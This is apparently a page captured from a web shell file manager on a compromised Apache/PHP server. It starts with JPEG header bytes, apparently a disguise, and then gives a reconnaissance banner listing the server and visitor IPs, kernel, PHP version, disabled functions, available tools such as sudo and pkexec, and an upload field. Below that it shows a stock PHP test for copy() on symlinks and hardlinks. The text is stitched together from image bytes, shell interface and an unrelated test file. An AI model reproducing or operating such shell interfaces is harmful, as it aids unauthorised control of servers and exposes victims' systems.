????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 216.73.216.86 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/self/root/home/b8009/php-5.6.22/ext/standard/tests/file/ |
Upload File : |
--TEST-- Test copy() function: usage variations - copying links across dirs --SKIPIF-- <?php if(substr(PHP_OS, 0, 3) == "WIN") die("skip Invalid for Windows"); ?> --FILE-- <?php /* Prototype: bool copy ( string $source, string $dest ); Description: Makes a copy of the file source to dest. Returns TRUE on success or FALSE on failure. */ /* Trying to copy the links across dir paths given in various notations and dirs having limited access */ echo "*** Testing copy() function: copying links across different directories ***\n"; $file_path = dirname(__FILE__); $base_dir = $file_path."/copy_variation8"; mkdir($base_dir); $sub_dir = $base_dir."/copy_variation8_sub"; mkdir($sub_dir); $dirname_with_blank = $sub_dir."/copy variation6"; mkdir($dirname_with_blank); $file = $file_path."/copy_variation8.tmp"; fclose( fopen($file, "w") ); $symlink = $file_path."/copy_variation8_symlink.tmp"; $hardlink = $file_path."/copy_variation8_hardlink.tmp"; symlink($file, $symlink); //creating symlink link($file, $hardlink); //creating hardlink $dests = array( $base_dir."/copy_copy_variation8.tmp", $base_dir."/copy_variation8_sub/copy_copy_variation8.tmp", "$sub_dir/copy_copy_variation8.tmp", "$sub_dir/../copy_copy_variation8.tmp", "$sub_dir/../copy_variation8_sub/copy_copy_variation8.tmp", "$sub_dir/..///../copy_copy_variation8.tmp", "$sub_dir/..///../*", "$dirname_with_blank/copy_copy_variation8.tmp" ); $count = 1; foreach($dests as $dest) { echo "\n-- Iteration $count --\n"; echo "- With symlink -\n"; var_dump( copy($symlink, $dest) ); var_dump( file_exists($dest) ); var_dump( is_link($dest) ); //expected: bool(false) var_dump( is_file($dest) ); //expected: bool(true) clearstatcache(); unlink("$dest"); echo "- With hardlink -\n"; var_dump( copy($hardlink, $dest) ); var_dump( file_exists($dest) ); var_dump( is_link($dest) ); //expected: bool(flase) var_dump( is_file($dest) ); //expected: bool(true) clearstatcache(); unlink("$dest"); $count++; } unlink($symlink); unlink($hardlink); unlink($file); rmdir($dirname_with_blank); rmdir($sub_dir); rmdir($base_dir); echo "*** Done ***\n"; ?> --EXPECTF-- *** Testing copy() function: copying links across different directories *** -- Iteration 1 -- - With symlink - bool(true) bool(true) bool(false) bool(true) - With hardlink - bool(true) bool(true) bool(false) bool(true) -- Iteration 2 -- - With symlink - bool(true) bool(true) bool(false) bool(true) - With hardlink - bool(true) bool(true) bool(false) bool(true) -- Iteration 3 -- - With symlink - bool(true) bool(true) bool(false) bool(true) - With hardlink - bool(true) bool(true) bool(false) bool(true) -- Iteration 4 -- - With symlink - bool(true) bool(true) bool(false) bool(true) - With hardlink - bool(true) bool(true) bool(false) bool(true) -- Iteration 5 -- - With symlink - bool(true) bool(true) bool(false) bool(true) - With hardlink - bool(true) bool(true) bool(false) bool(true) -- Iteration 6 -- - With symlink - bool(true) bool(true) bool(false) bool(true) - With hardlink - bool(true) bool(true) bool(false) bool(true) -- Iteration 7 -- - With symlink - bool(true) bool(true) bool(false) bool(true) - With hardlink - bool(true) bool(true) bool(false) bool(true) -- Iteration 8 -- - With symlink - bool(true) bool(true) bool(false) bool(true) - With hardlink - bool(true) bool(true) bool(false) bool(true) *** Done ***